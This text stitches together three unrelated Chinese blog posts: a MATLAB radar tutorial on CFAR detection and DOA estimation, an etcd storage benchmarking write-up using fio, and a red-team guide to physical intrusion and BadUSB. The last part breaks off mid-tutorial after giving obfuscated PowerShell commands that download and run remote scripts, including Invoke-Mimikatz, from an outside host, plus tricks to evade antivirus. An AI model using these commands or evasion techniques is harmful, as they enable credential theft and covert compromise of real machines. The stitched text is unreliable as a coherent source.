深红色单元为检测单元,浅红色单元为保护单元(防止旁瓣能量信号泄露主瓣形成掩蔽效应),浅绿色为参考单元,由深红色单元、浅红色单元和浅绿色单元构成的小矩形区域作为滑动窗窗;依次移动滑动窗在大矩形区域内遍历检测目标,移动过程中需要保证检测单元的中心
从黄色的起始中心单元
开始依次完成自左向右、自上而下的二维扫描,直至完成整个大矩形区域的遍历。【注意到,我们在这里强调了
"从黄色的起始中心单元"
,这部分需要在程序中重点处理,否则可能会导致部分区域是没有参与检测的。】

以单元平均恒虚警检测算法(
ca-cfar,cell-averaging cfar
)为例,首先需要根据预设虚警概率和滑动窗尺寸等先验参数计算门限因子
\(\alpha\)
;在每次扫描中,需求求解参考窗内所有检测单元对应的信号电平的和并取平均值,这一估计值可以表示为
\(\bar{X}\)
,将估计阈值
\(\bar{X}\cdot \alpha\)
和检测单元下的信号电平进行比较,如果检测单元下信号电平大于估计阈值
\(\bar{X}\cdot \alpha\)
,则认为检测单元出为目标信号,否则认为噪声信号。

image

在这里我们通过以下程序来更好地帮助理解
2d-cfar
过程:

function [cfarOut] = CFAR_2D(RDM, Pfa, TestCells, GuardCells)
    % rd_map:输入数据
    % Pfa:虚警概率
    % TestCells:测试单元 [4 4]
    % GuardCells:保护单元 [4 4]
    % By Xuliang
    
    % CFAR检测器
    detector = phased.CFARDetector2D('TrainingBandSize',TestCells, ...
    'ThresholdFactor','Auto','GuardBandSize',GuardCells, ...
    'ProbabilityFalseAlarm',Pfa,'Method','SOCA','ThresholdOutputPort',true, 'NoisePowerOutputPort',true);

    N_x = size(RDM,1); % 距离单元
    N_y = size(RDM,2); % 多普勒单元
    % 获取二维滑动窗口的size
    Ngc = detector.GuardBandSize(2); % 保护窗列向
    Ngr = detector.GuardBandSize(1); % 保护窗行向
    Ntc = detector.TrainingBandSize(2); % 参考窗行向
    Ntr = detector.TrainingBandSize(1); % 参考窗行向
    cutidx = [];
    colstart = Ntc + Ngc + 1; % 列窗首
    colend = N_y + ( Ntc + Ngc); % 列窗尾
    rowstart = Ntr + Ngr + 1; % 行窗首
    rowend = N_x + ( Ntr + Ngr); % 行窗尾
    for m = colstart:colend
        for n = rowstart:rowend
            cutidx = [cutidx,[n;m]]; % 完整二维窗
        end
    end
    
    ncutcells = size(cutidx,2); % 获取窗口遍历区间
    
    rd_map_padding = repmat(RDM, 3, 3); % 对RDM补零
    chosen_rd_map = rd_map_padding(N_x+1-Ntr-Ngr:2*N_x+Ntr+Ngr,N_y+1-Ntc-Ngc:2*N_y+Ntc+Ngc);
    
    [dets, ~, noise] = detector(chosen_rd_map,cutidx); % 输出CFAR结果
    
    cfar_out = zeros(size(chosen_rd_map)); % 检测点输出
    noise_out = zeros(size(chosen_rd_map)); % 噪声
    snr_out = zeros(size(chosen_rd_map)); % 信噪比
    for k = 1:size(dets,1)
        if dets(k) == 1
            cfar_out(cutidx(1,k),cutidx(2,k)) = dets(k); 
            noise_out(cutidx(1,k),cutidx(2,k)) = noise(k);
            snr_out(cutidx(1,k),cutidx(2,k)) = chosen_rd_map(cutidx(1,k),cutidx(2,k));
        end
    end
    
    cfarOut = {};
    cfarOut.cfarMap = cfar_out(Ntr+Ngr+1:Ntr+Ngr+N_x,Ntc+Ngc+1:Ntc+Ngc+N_y);
    cfarOut.snrOut = snr_out(Ntr+Ngr+1:Ntr+Ngr+N_x,Ntc+Ngc+1:Ntc+Ngc+N_y);
    cfarOut.noiseOut = noise_out(Ntr+Ngr+1:Ntr+Ngr+N_x,Ntc+Ngc+1:Ntc+Ngc+N_y);
    cfarOut.snrOut = cfarOut.snrOut ./ (eps + cfarOut.noiseOut);
end


经过
cfar
检测后,我们可以得到一组由
\(K_{det}\)
个检测目标构成的集合:

\[\mathrm{cfar}\left(\left|x'[l,m]\right|^2\right)=\{(r_1,v_{\mathrm{r},1}),(r_2,v_{\mathrm{r},2}),\ldots,(r_{k_{\det}},v_{\mathrm r,k_{\det}}),\ldots,(r_{K_{\det}},v_{\mathrm r,K_{\det}})\}
\]

其中,每个检测目标由与其关联的参数元组进行表示,每个参数元组
\((r_{K_{\det}},v_{\mathrm r,K_{\det}})\)
中包含了目标的距离和速度,这可以通过距离或多普勒维度的峰值索引通过物理映射实现距离和速度解析,这里需要用到距离分辨率和速度分辨率的概念(可以阅读先前的博文进行回顾)。

下面,我们可以进入
doa
估计;不过我们需要准备好用于空间谱估计的输入信号,这需要用到由上面缓存的
radar cube
数据和经过
cfar
检测得到的目标距离-速度集合
\(\mathrm{cfar}\left(\left|x'[l,m]\right|^2\right)\)
来提取空域信号
\(\mathbf{x}_{k\mathrm{det}}\)
,表示如下:(
\(N\)
表示阵元数目)

\[\mathbf{x}_{k\mathrm{det}}=x[l_{k\mathrm{det}},m_{k\mathrm{det}},n]=[x_0,\ldots,x_{N-1}]^T
\]

基于经过距离多普勒FFT的混合信号模型
\(x_n(\lambda,\zeta)\)
,我们可以建立空域信号模型为:

\[\mathbf{x}_{k_{\det}}=\sum_{k_{\text{doa}}=1}^{K_{\text{doa}}}s_{k_{\text{doa}}}\mathbf{a}(\phi_{k_{\text{doa}}},\epsilon_{k_{\text{doa}}})+\boldsymbol{\omega}
\]

不难发现上述信号表示是标准的空间谱估计信号模型
X=AS+N
,其中
A
为流形,
S
为信号空间,
N
为噪声空间(上面用
\(\omega\)
表示噪声项,通常假设满足复高斯白噪声分布),
X
为观测空间;在这里,我们也可以将
A
视为完备基或字典,字典原子或称导向矢量
\(\mathbf{a}(\phi_{k_{\text{doa}}},\epsilon_{k_{\text{doa}}})\)
满足线性无关,那么目标的来波信号可以由字典中的原子通过复权重
\(s_{k_{doa}}\)
加权得到,导向矢量和复权重的表示分布如下:

\[\mathbf{a}(\phi_{k_\text{doa}},\epsilon_{k_\text{doa}})=e^{j(2\pi/\lambda)\mathbf{u}_{k_\text{doa}}\mathbf{p}_n}
\]

\[s_{k\text{doa}}=a_{k\text{doa}}W_{\text{ft}}(\lambda-\lambda_{k\text{doa}})W_{\text{st}}(\zeta-\zeta_{k\text{doa}})e^{j\varphi_{k}\text{doa}}
\]

doa
估计的本意是在给定峰值目标空域信号
\(\mathbf{x}_{k\mathrm{det}}\)
和阵列集合结构
\(p_n\)
的基础上估计出目标数目
\(K_{doa}\)
、目标来波方向
\(\phi_{k_{doa}}\)

\(\epsilon_{k_{doa}}\)
,即如下目标:
\((r_{k_\mathrm{det}},v_{\mathrm{r},k_\mathrm{det}},\mathbf{x}_{k_\mathrm{det}})\to(r_{k_\mathrm{tgt}},v_{r,k_\mathrm{tgt}},\phi_{k_\mathrm{tgt}},\epsilon_{k_\mathrm{tgt}})\)
。在本处,我们可以对上述阵列信号完成对应维度的天线映射后,首先对方位天线维度做FFT处理,并认为方位维空间最大谱峰所在处为对应的目标方位角;其次,基于目标方位天线的峰值索引,我们沿其俯仰维度做FFT处理,并认为俯仰维空间最大谱峰所在处为对应的目标俯仰角,以此实现目标信号方位和俯仰维度的匹配关联。这种方法可以理解为“两步走”战略,和上面提及的两次
1D-CFAR
是类似的。

当然,我们也可以使用波束成形
CBF
、线性滤波
Capon
、子空间方法(
MUSIC

ESPRIT

DML
等)和压缩感知方法(
OMP

IAA

LISTA
等),这些内容我们将在后面的章节中讨论,在这里需要注意一点,我们要保证方位天线维度上的空间谱估计不能够破坏俯仰天线维度观测信号的相位信息,否则会导致俯仰角的估计错误。


至此,我们已经基本完成了
RDA
信号处理栈的基本物理量提取并最终得到
点云
表示
\((r_{k_\mathrm{tgt}},v_{r,k_\mathrm{tgt}},\phi_{k_\mathrm{tgt}},\epsilon_{k_\mathrm{tgt}})\)
。所述过程仍存在一些细节性内容没有解释,这部分可以结合代码更好地去理解,下面给出核心信号处理实现部分。

for frame_id = 1 : Frame % Frame
    adcData = squeeze(RawData(:, :, frame_id, :));
    
    %% 距离维FFT和多普勒FFT
    disp(strcat(['=====','RD-MAP生成','====='])); 
    tic
    fftOut = rdFFT(adcData, IQFlag);
    toc
    rangeFFTOut = fftOut.rangeFFT;
    dopplerFFTOut = fftOut.dopplerFFT;
    if ShowRange
        figure(2);
        set(gcf,'unit','centimeters','position',[10,0,10,10])
        plot(rangeIndex, db(rangeFFTOut(:,1,1))); 
        xlabel('Range(m)');ylabel('Amplitude(dB)'); 
        title(strcat(['第',num2str(frame_id),'帧-目标距离分布']));grid minor;  
        pause(0.1);
    end
    if ShowRD
        figure(3);
        set(gcf,'unit','centimeters','position',[20,12,10,10])
        imagesc(rangeIndex, velocityIndex, db(dopplerFFTOut(:,:,1).'));
        xlabel('Range(m)');ylabel('Velocity(m/s)'); colormap('jet');
        title(strcat(['第',num2str(frame_id),'帧目标-距离多普勒分布']));
        grid minor; axis xy;
        pause(0.1);
    end

    %% 非相干积累
    disp(strcat(['=====','非相干积累','====='])); 
    RDM = dopplerFFTOut;
    tic
    [accumulateRD] = incoherent_accumulation(RDM);
    toc
    
    %% CFAR检测器
    disp(strcat(['=====','恒虚警检测','====='])); 
    Pfa = 1e-3; % 虚警概率
    TestCells = [8, 8]; % 参考窗
    GuardCells = [2, 2]; % 保护窗
    
    tic
    [cfarOut] = CFAR_2D(accumulateRD, Pfa, TestCells, GuardCells);
    toc
    cfarMap = cfarOut.cfarMap; % 检测点输出
    noiseOut = cfarOut.noiseOut; % 噪声输出
    snrOut = cfarOut.snrOut; % 信噪比输出
    
    if ShowCFAR
        figure(4);
        set(gcf,'unit','centimeters','position',[20,0,10,10])
        imagesc(rangeIndex, velocityIndex, cfarMap.');
        xlabel('Range(m)');ylabel('Velocity(m/s)'); colormap('jet');
        title(strcat(['第',num2str(frame_id),'帧目标-CFAR检测结果']));
        grid minor;axis xy;
        pause(0.1);
    end
    
    %% 峰值聚合-获取点目标
    disp(strcat(['=====','峰值聚合','====='])); 
    [range_idx, doppler_idx] = find(cfarMap);
    cfar_out_idx = [range_idx doppler_idx]; % 获取CFAR输出结果的行列索引
    tic
    [rd_peak_list, rd_peak] = peakFocus(db(accumulateRD), cfar_out_idx);
    toc
    peakMap = zeros(size(cfarMap)); % 峰值聚合结果矩阵
    for peak_idx = 1 :size(rd_peak_list, 2)
        peakMap(rd_peak_list(1,peak_idx), rd_peak_list(2,peak_idx)) = 1;
    end
    
    if ShowPeak
        figure(5);
        set(gcf,'unit','centimeters','position',[30,12,10,10])
        imagesc(rangeIndex, velocityIndex, peakMap.');
        xlabel('Range(m)');ylabel('Velocity(m/s)'); colormap('jet');
        title(strcat(['第',num2str(frame_id),'帧目标-峰值聚合结果']));
        grid minor;axis xy;
        pause(0.1);
    end

    %% DOA/AOA估计
    disp(strcat(['=====','DOA/AOA估计','====='])); 
    cfgDOA.FFTNum = 180; % FFT点数
    % 这里虽然封装了不同的DOA算法 但是需要注意的是 可用的算法有限 在本套代码里 建议使用的是FFT-FFT和FFT-MUSIC等
    % 因为MUSIC-MUSIC的使用会导致在方位维度空间谱估计时破坏相位信号 有损俯仰维度的相位估计
    
    cfgDOA.AziMethod = 'FFT'; % 方位维度DOA估计方法
    cfgDOA.EleMethod = 'MUSIC'; % 俯仰维度DOA估计方法
    
    cfgDOA.thetaGrids = linspace(-90, 90, cfgDOA.FFTNum); % 空间网格
    cfgDOA.AzisigNum = 1; % 约束每个RD-CELL上的信源数目
    cfgDOA.ElesigNum = 1; % 约束每个方位谱峰上的信源数目
    
    aziNum = length(virtual_array.noredundant_aziarr); % 方位天线数目
    
%     Aset = exp(-1j * 2 * pi * arrDx * [0:aziNum]' * sind(cfgDOA.thetaGrids)); % 稀疏字典设计
    targetPerFrame = {}; 
    targetPerFrame.rangeSet = [];
    targetPerFrame.velocitySet = [];
    targetPerFrame.snrSet = [];
    targetPerFrame.azimuthSet = [];
    targetPerFrame.elevationSet = [];
    
    if ~isempty(rd_peak_list) % 非空表示检测到目标
        rangeVal = (rd_peak_list(1, :) - 1) * range_res; % 目标距离
        speedVal = (rd_peak_list(2, :) - ChirpNum / 2 - 1) * doppler_res; % 目标速度
        
        doaInput = zeros(size(rd_peak_list, 2), arrNum);
        for tar_idx = 1 :size(rd_peak_list, 2)
            doaInput(tar_idx, :) = squeeze(dopplerFFTOut(rd_peak_list(1, tar_idx), rd_peak_list(2, tar_idx), :)); % tarNum * arrNum
        end
        doaInput = reshape(doaInput, [], numRx, numTx);
        
        % 方位角估计前需要考虑多普勒补偿
        [com_dopplerFFTOut] = compensate_doppler(doaInput, cfgOut, rd_peak_list(2, :), speedVal, rangeVal); 
        
        tic
        for peak_idx = 1 : size(rd_peak_list, 2) % 遍历检测到的每个目标
            snrVal = mag2db(snrOut(rd_peak_list(1, peak_idx), rd_peak_list(2, peak_idx))); % 信噪比的提升是由于chirpNum*ADCNum的积累
            tarData = squeeze(com_dopplerFFTOut(peak_idx, :,:));

    %         aziarr = unique(arr(1,arr(2,:)==0)); % 初阶版本获取方位维度天线排列
    %         aziArrData = arrData(aziarr+1); % 获取方位维度信号

            % 方位角解析
           sig = tarData;
           sig_space = zeros(max(virtual_array.azi_arr)+1,max(virtual_array.ele_arr)+1); % 初始化信号子空间
           for trx_id = 1 : size(cfgOut.sigIdx,2)
               sig_space(cfgOut.sigSpaceIdx(1, trx_id), cfgOut.sigSpaceIdx(2,trx_id)) = sig(cfgOut.sigIdx(1,trx_id), cfgOut.sigIdx(2,trx_id)); % 重排后的信号空间
           end
           % 至此我们生成的信号子空间维度为 方位虚拟天线数目 * 俯仰虚拟天线数目 

           eleArrData = zeros(cfgDOA.FFTNum, size(sig_space,2)); % 俯仰维度数据
            for ele_idx = 1 : size(sig_space, 2) % 这里采取遍历是为了适配不同的空间谱估计方法
                tmpAziData = sig_space(:, ele_idx);
                [azidoaOut] = azimuthDOA(tmpAziData, cfgDOA); % 提取第一列方位维度天线信息进行方位角估计 
                eleArrData(:, ele_idx) = azidoaOut.spectrum(:); % 复空间谱
            end

            for azi_peak_idx = 1 : length(azidoaOut.angleVal) % 对方位维度检测的谱峰进行检索
                tmpEleData = eleArrData(azidoaOut.angleIdx(azi_peak_idx), :).'; % 获取与方位维目标关联的信号
                [eledoaOut] = elevationDOA(tmpEleData, cfgDOA); % 进行俯仰角估计

                % 关联目标的距离、多普勒、信噪比、方位和俯仰信息
                aziVal = azidoaOut.angleVal; 
                eleVal = eledoaOut.angleVal;
                targetPerFrame.rangeSet = [targetPerFrame.rangeSet, rangeVal(peak_idx)];
                targetPerFrame.velocitySet = [targetPerFrame.velocitySet, speedVal(peak_idx)];
                targetPerFrame.snrSet = [targetPerFrame.snrSet, snrVal];
                targetPerFrame.azimuthSet = [targetPerFrame.azimuthSet,aziVal];
                targetPerFrame.elevationSet = [targetPerFrame.elevationSet,eleVal];
            end
        end
        toc
    
        %% 点云生成 
        disp(strcat(['=====','点云生成','====='])); 
        tic
        pcd_x = targetPerFrame.rangeSet .* cosd(targetPerFrame.elevationSet) .* sind(targetPerFrame.azimuthSet);
        pcd_y = targetPerFrame.rangeSet .* cosd(targetPerFrame.elevationSet) .* cosd(targetPerFrame.azimuthSet);
        pcd_z = targetPerFrame.rangeSet .* sind(targetPerFrame.elevationSet);
        PointSet = [pcd_x.', pcd_y.', pcd_z.', targetPerFrame.velocitySet.', targetPerFrame.snrSet.'];
        toc

        %% 点云聚类
        eps = 1.1; % 邻域半径
        minPointsInCluster = 3; % 簇内最小点数阈值
        xFactor = 1;   % 变大控制距离变大,变小分类距离变小 椭圆
        yFactor = 1;   % 变大控制角度变大,变小分类距离变小 椭圆 
        figure(6);
        set(gcf,'unit','centimeters','position',[30,0,10,10])
        disp(strcat(['=====','点云聚类','====='])); 
        tic
        [sumClu] = dbscanClustering(eps,PointSet,xFactor,yFactor,minPointsInCluster,frame_id); % DBSCAN聚类
        toc
    end

end

在本文的尾巴,本文将展示本程序所实现的可视化功能。在以下仿真中,目标距离为
[5 10 15 18]
,目标速度为
[0.4 -0.3 0 0.6]
,目标方位角为
[15 -2 30 -25]
,目标俯仰角为
[0 15 -5 8]
,目标RCS为
[20 20 10 20]
,仿真实验平台为
TI AWR1243BOOST
,其他平台均可实现类似效果。

image

本完整程序可以通过邮箱形式向笔者咨询,希望读者以诚心求学心态咨询。

参考文献

[1] X. Yu, Z. Cao, Z. Wu, C. Song, J. Zhu and Z. Xu, "A Novel Potential Drowning Detection System Based on Millimeter-Wave Radar," 2022 17th International Conference on Control, Automation, Robotics and Vision (ICARCV), Singapore, Singapore, 2022, pp. 659-664, doi: 10.1109/ICARCV57592.2022.10004245.

[2] J. Fuchs, M. Gardill, M. Lübke, A. Dubey and F. Lurz, "A Machine Learning Perspective on Automotive Radar Direction of Arrival Estimation," in IEEE Access, vol. 10, pp. 6775-6797, 2022, doi: 10.1109/ACCESS.2022.3141587.

[3] 初出茅庐:毫米波雷达开发手册之基础参数
https://www.cnblogs.com/yuxuliang/p/MyRadar_4.html

etcd:增加30%的写入性能

本文最终的解决方式很简单,就是将现有卷升级为支持更高IOPS的卷,但解决问题的过程值得推荐。

译自:
etcd: getting 30% more write/s

我们的团队看管着大约30套自建的Kubernetes集群,最近需要针对etcd集群进行性能分析。

每个etcd集群有5个成员,实例型号为
m6i.xlarge
,最大支持6000 IOPS。每个成员有3个卷:

  • root卷
  • write-ahead-log的卷
  • 数据库卷

每个卷的型号为 gp2,大小为300gb,最大支持900 IOPS:

image

测试写性能

首先(在单独的实例上执行)执行
etcdctl check perf
命令,模拟etcd集群的负载,并打印结果。可以通过
--load
参数来模拟不同大小的集群负载,支持参数为:
s(small)
,
m(medium)
,
l(large)
,
xl(xLarge)

当load为
s
时,测试是通过的。

image

但当load为
l
时,测试失败。可以看到,集群可执行6.6K/s的写操作,可以认为我们的集群介于中等集群和大型集群之间。

image

下面是使用
iostat
展示的磁盘状态,其中
nvme1n1
是etcd的write-ahead-log卷,其IO使用率已经达到100%,导致etcd的线程等待IO。

image

下面使用fio来查看fdatasync的延迟(见附录):

fio --rw=write --ioengine=sync --fdatasync=1 --directory=benchmark --size=22m --bs=2300 --name=sandbox
... 
Jobs: 1 (f=1): [W(1)][100.0%][w=1594KiB/s][w=709 IOPS][eta 00m:00s]
...
  fsync/fdatasync/sync_file_range:
    sync (usec): min=476, max=10320, avg=1422.54, stdev=727.83
    sync percentiles (usec):
     |  1.00th=[  523],  5.00th=[  545], 10.00th=[  570], 20.00th=[  603],
     | 30.00th=[  660], 40.00th=[  775], 50.00th=[ 1811], 60.00th=[ 1909],
     | 70.00th=[ 1975], 80.00th=[ 2057], 90.00th=[ 2180], 95.00th=[ 2278],
     | 99.00th=[ 2671], 99.50th=[ 2933], 99.90th=[ 4621], 99.95th=[ 5538],
     | 99.99th=[ 7767]
...
Disk stats (read/write):
  nvme1n1: ios=0/21315, merge=0/11364, ticks=0/13865, in_queue=13865, util=99.40%

可以看到fdatasync延迟的99th百分比为
2671 usec
(或 2.7ms),说明集群足够快(etcd官方建议最小10ms)。从上面的输出还可以看到报告的IOPS为709,相比gp2 EBS 卷宣称的900 IOPS来说并不算低。

升级为GP3

下面将卷升级为GP3(支持最小3000 IOPS)。

Jobs: 1 (f=1): [W(1)][100.0%][w=2482KiB/s][w=1105 IOPS][eta 00m:00s]
...
   iops        : min=  912, max= 1140, avg=1040.11, stdev=57.90, samples=19
...
  fsync/fdatasync/sync_file_range:
    sync (usec): min=327, max=5087, avg=700.24, stdev=240.46
    sync percentiles (usec):
     |  1.00th=[  392],  5.00th=[  429], 10.00th=[  457], 20.00th=[  506],
     | 30.00th=[  553], 40.00th=[  603], 50.00th=[  652], 60.00th=[  709],
     | 70.00th=[  734], 80.00th=[  857], 90.00th=[ 1045], 95.00th=[ 1172],
     | 99.00th=[ 1450], 99.50th=[ 1549], 99.90th=[ 1844], 99.95th=[ 1975],
     | 99.99th=[ 3556]
...
Disk stats (read/write):
  nvme2n1: ios=5628/10328, merge=0/29, ticks=2535/7153, in_queue=9688, util=99.09%

可以看到IOPS变为了1105,但远低于预期,通过查看磁盘的使用率,发现瓶颈仍然是EBS卷。

鉴于实例类型支持的最大IOPS约为6000,我决定冒险一试,看看结果如何:

Jobs: 1 (f=1): [W(1)][100.0%][w=2535KiB/s][w=1129 IOPS][eta 00m:00s]
...
  fsync/fdatasync/sync_file_range:
    sync (usec): min=370, max=3924, avg=611.54, stdev=126.78
    sync percentiles (usec):
     |  1.00th=[  420],  5.00th=[  453], 10.00th=[  474], 20.00th=[  506],
     | 30.00th=[  537], 40.00th=[  562], 50.00th=[  594], 60.00th=[  635],
     | 70.00th=[  676], 80.00th=[  717], 90.00th=[  734], 95.00th=[  807],
     | 99.00th=[  963], 99.50th=[ 1057], 99.90th=[ 1254], 99.95th=[ 1336],
     | 99.99th=[ 2900]
...

可以看到的确遇到了瓶颈,当IOPS规格从900变为3000时,实际IOPS增加了30%,但IOPS规格从3000变为6000时却没有什么变化。

IOPS到哪里去了?

操作系统通常会缓存写操作,当写操作结束之后,数据仍然存在缓存中,需要等待刷新到磁盘。

数据库则不同,它需要知道数据写入的时间和地点。假设一个执行EFTPOS(电子钱包转帐)交易的数据库被突然重启,仅仅知道数据被"最终"写入是不够的。

AWS在其
文档
中提到:

事务敏感的应用对I/O延迟比较敏感,适合使用SSD卷。可以通过保持低队列长度和合适的IOPS数量来保持高IOPS,同时降低延迟。持续增加卷的IOPS会导致I/O延迟的增加。

吞吐量敏感的应用则对I/O延迟增加不那么敏感,适合使用HDD卷。可以通过在执行大量顺序I/O时保持高队列长度来保证HDD卷的高吞吐量。

etcd在每个事务之后都会使用一个fdatasync系统调用,这也是为什么在fio命令中指定
—fdatasync=1
的原因。

fsync()
会将文件描述符fd引用的所有(被修改的)核心数据刷新到磁盘设备(或其他永久存储设备),这样就可以检索到这些信息(即便系统崩溃或重启)。该调用在设备返回前会被阻塞,此外,它还会刷新文件的元数据(参见
stat
(2)
)

fdatasync
() 类似
fsync
(),但不会刷新修改后的元数据(除非需要该元数据才能正确处理后续的数据检索)。例如,修改
st_atime

st_mtime
并不会刷新,因为它们不会影响后续数据的读取,但对文件大小(st_size)的修改,则需要刷新元数据。

image

可以看到这种处理方式对性能的影响比较大。

下表展示了各个卷类型的最大性能,与etcd相关的是Max synchronous write:

image

可以看到etcd的iops一方面和自身实现有关,另一方面收到存储本身的限制。

附录

使用Fio来测试Etcd的存储性能

etcd集群的性能严重依赖存储的性能,为了理解相关的存储性能,etcd暴露了一些Prometheus指标,其中一个为
wal_fsync_duration_seconds
,etcd
建议
当99%的指标值均小于10ms时说明存储足够快。可以使用
fio
来验证etcd的处理速度,在下面命令中,
test-data
为测试的挂载点目录:

fio --rw=write --ioengine=sync --fdatasync=1 --directory=test-data --size=22m --bs=2300 --name=mytest

在命令输出中,只需关注
fdatasync
的99th百分比是否小于10ms,在本场景中,为2180微秒,说明存储足够快:

fsync/fdatasync/sync_file_range:
sync (usec): min=534, max=15766, avg=1273.08, stdev=1084.70
sync percentiles (usec):
| 1.00th=[ 553], 5.00th=[ 578], 10.00th=[ 594], 20.00th=[ 627],
| 30.00th=[ 709], 40.00th=[ 750], 50.00th=[ 783], 60.00th=[ 1549],
| 70.00th=[ 1729], 80.00th=[ 1991], 90.00th=[ 2180], 95.00th=[ 2278],
| 99.00th=[ 2376], 99.50th=[ 9634], 99.90th=[15795], 99.95th=[15795],
| 99.99th=[15795]

注意:

  • 可以根据特定的场景条件
    --size

    --bs
  • 在本例中,fio是唯一的I/O,但在实际场景中,除了和
    wal_fsync_duration_seconds
    相关联的写入之外,很可能还会有其他写入存储的操作,因此,如果从fio观察到的99th百分比略低于10ms时,可能并不是因为存储不够快。
  • fio的版本不能低于3.5,老版本不支持fdatasync

Etcd WALs

数据库通常都会使用WAL,etcd也不例外。etcd会将针对key-value存储的特定操作(在apply前)写入WAL中,当一个成员崩溃并重启,就可以通过WAL恢复事务处理。

因此,在客户端添加或更新key-value存储前,etcd都会将操作记录到WAL,在进一步处理前,etcd必须100%保证WAL表项被持久化。由于存在缓存,因此仅仅使用
write
系统调用是不够的。为了保证数据能够写入持久化存储,需要在
write
之后执行
fdatasync
系统调用(这也是etcd实际的做法)。

使用fio访问存储

为了获得有意义的结果,需要保证fio生成的写入负载和etcd写入WAL文件的方式类似。因此fio也必须采用顺序写入文件的方式,并在执行write系统调用之后再执行
fdatasync
系统调用。为了达到顺序写的目的,需要指定
--rw=write
,为了保证fio使用的是write系统调用,而不是其他系统调用(如
pwrite
),需要使用
--ioengine=sync
,最后,为了保证每个write调用之后都执行
fdatasync
,需要指定
--fdatasync=1
,另外两个参数
--size

--bs
需要根据实际情况进行调整。

一、近源渗透

近源渗透测试是网络空间安全领域逐渐兴起的一种新的安全评估手段。

它是一种集常规网络攻防、物理接近、社会工程学及无线电通信攻防等能力于一体的高规格网络安全评估行动。网络安全评估小组在签订渗透测试授权协议后,通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”,最后以隐秘的方式将评估结果带出上报,由此证明企业安全防护存在漏洞。

1.1 常见方式

1.无线网卡

外接无线网卡主要是用来配合kali破解无线密码的,现在一般是通过抓握手包然后跑包来破解。还有其他的方式可以通过伪造SSID钓鱼等等。

2.WIFI 大菠萝

大菠萝不是吃的那个玩意,可以说是一个钓鱼WiFi。最新版本的大菠萝功能更强大,其实可以替代上面的外接无线网卡了。大菠萝可以捕获握手包并模仿目标AP,甚至可以完全模仿首选网络,从而实现中间人攻击。

3.EMP干扰器

当前电子设备和电路的工作频率不断提高,而工作电压却逐渐降低,因此对电磁脉冲(EMP)的敏感性和易损性也不断增加。同时,电子系统中的集成电路对电磁脉冲比较敏感,往往一个较大的电磁脉冲,就会使集成块产生误码、甚至电子元器件失效或烧毁,所以我们可以使用EMP干扰来打开部分电子门禁和电子密码锁。甚至你可以用一个电蚊拍自制EMP请自行搜索教程。

4.变色龙

变色龙主要有三种使用方法,第一种是随机化UID进行模糊测试、第二种是支持IC卡的仿真、第三种是存储多张虚拟化卡。有机会具体介绍

5.纳米指纹膜

这个公司门禁代打卡的小伙伴们应该不陌生,曾经有同事就这么玩过。就是可以通过指纹拓印出一个跟原指纹一模一样的指纹膜。至于怎样能获得对方的指纹....就得看你的社工啦。

6.键盘记录器

如果你能接触到目标主机,那你就可以将键盘记录器接入到主机和键盘之间,并配置连接WI-FI,将键盘敲击的数据实时传回远程服务器。

7.内网硬件植入

通过前面的步骤,红队渗透小哥哥可能已经进入了蓝队内部,这个时候我们就需要可以在内网偷偷装一个PacketSquirrel,作为中间人攻击工具,PacketSquirrel可以捕获网络端点的数据包、并且可以使用VPN和反向shell获得远程访问权限。

8.HID 攻击

badusb是HID(人机接口)攻击的一种,也称为热插拔攻击。想象一下,你可以走到一台计算机上,插入看似无害的USB驱动器,然后安装后门,窃听文档,窃取密码...(用法很多,全靠想象)。

二、Badusb 上线CS

​ BadUSB是利用了USB协议上的漏洞,通过更改USB的内部固件,在正常的USB接口接入后,模拟外置鼠标、键盘的功能,以此来使目标主机执行已经精心构造好的命令。在此过程中不会引起杀毒软件、防火墙的一丝怀疑。而且因为是在固件级别的应用,U盘格式化根本无法阻止其内部代码的执行。

​ 同样因为是对USB的利用,Windows、Linux、MAC等各类操作系统不必联网下载专用的驱动程序。此外,向BadUSB烧录的程序极为简单,大部分是对键盘按键进行模拟,上手较为容易。

​ BadUSB也是社会工程学的一个典型示例,它极大地利用了人们的好奇心,在路边捡到的USB,估计九成以上的人们都想看看里面有什么东西,而当你插入U盘,攻击就很难再停止下来了。

2.1 准备工作

  • 一个Arduino Leonardo开发板,伪装成虚拟键盘的U盘
  • Arduino IDE,用来烧录代码
  • 部署好CS服务端,用来上线

2.2 CS简单免杀

部署CobaltStrike服务器,生成powershell的payload

image-20230420175904727

2.2.1 代码混淆

PowerShell的免杀可以用
Invoke-Obfuscation
,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。

进入Invoke-Obfuscation目录后,在PowerShell中执行命令

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
#然后执行命令,指定待处理的Ps1文件
set scriptpath c:\xxx\payload.ps1
encoding
#输入encoding 并选择编码方式,比如
1
#输入命令,导出免杀ps文件到指定路径
out C:\xxx\xxx.ps1

2.2.2 远程代码执行-替换和干扰

虽然ps1代码自身免杀,但在⽤powershell执⾏远程下载或执⾏shellcode时,很容易触发杀软⾏为规则。对于IEX这种方便快捷的方式直接运行会被360拦截。可尝试从语法上简单变化。主要是对DownloadString、http做⼀些处理。

1、替换文件名

copy C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe bypass.txt

bypass.txt "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://www.xiaodi8.com/ms/ps/1.ps1''));Invoke-Mimikatz';IEX ($a+$b)"

2、替换关键字

powershell "$a='IEX((New-Object Net.WebClient).DownloadString(''ht';$b='tp://www.xiaodi8.com/ms/ps/1.ps1''));Invoke-Mimikatz';IEX ($a+$b)"

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://www.xiaodi8.com/ms/ps/payload.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

替换常见关键字

IEX $DoIt -- i`ex $DoIt
IEX $a  --  ie`x $a
$var_runme -- $vrunme
$var_buffer -- $vbuffer
func_get_proc_address --  func_k
func_get_delegate_type -- func_l
$var_type_builder -- $vk
$var_parameters -- $vp
$var_return_type-- $ve
$var_procedure -- $v_pro

3、垃圾数据干扰

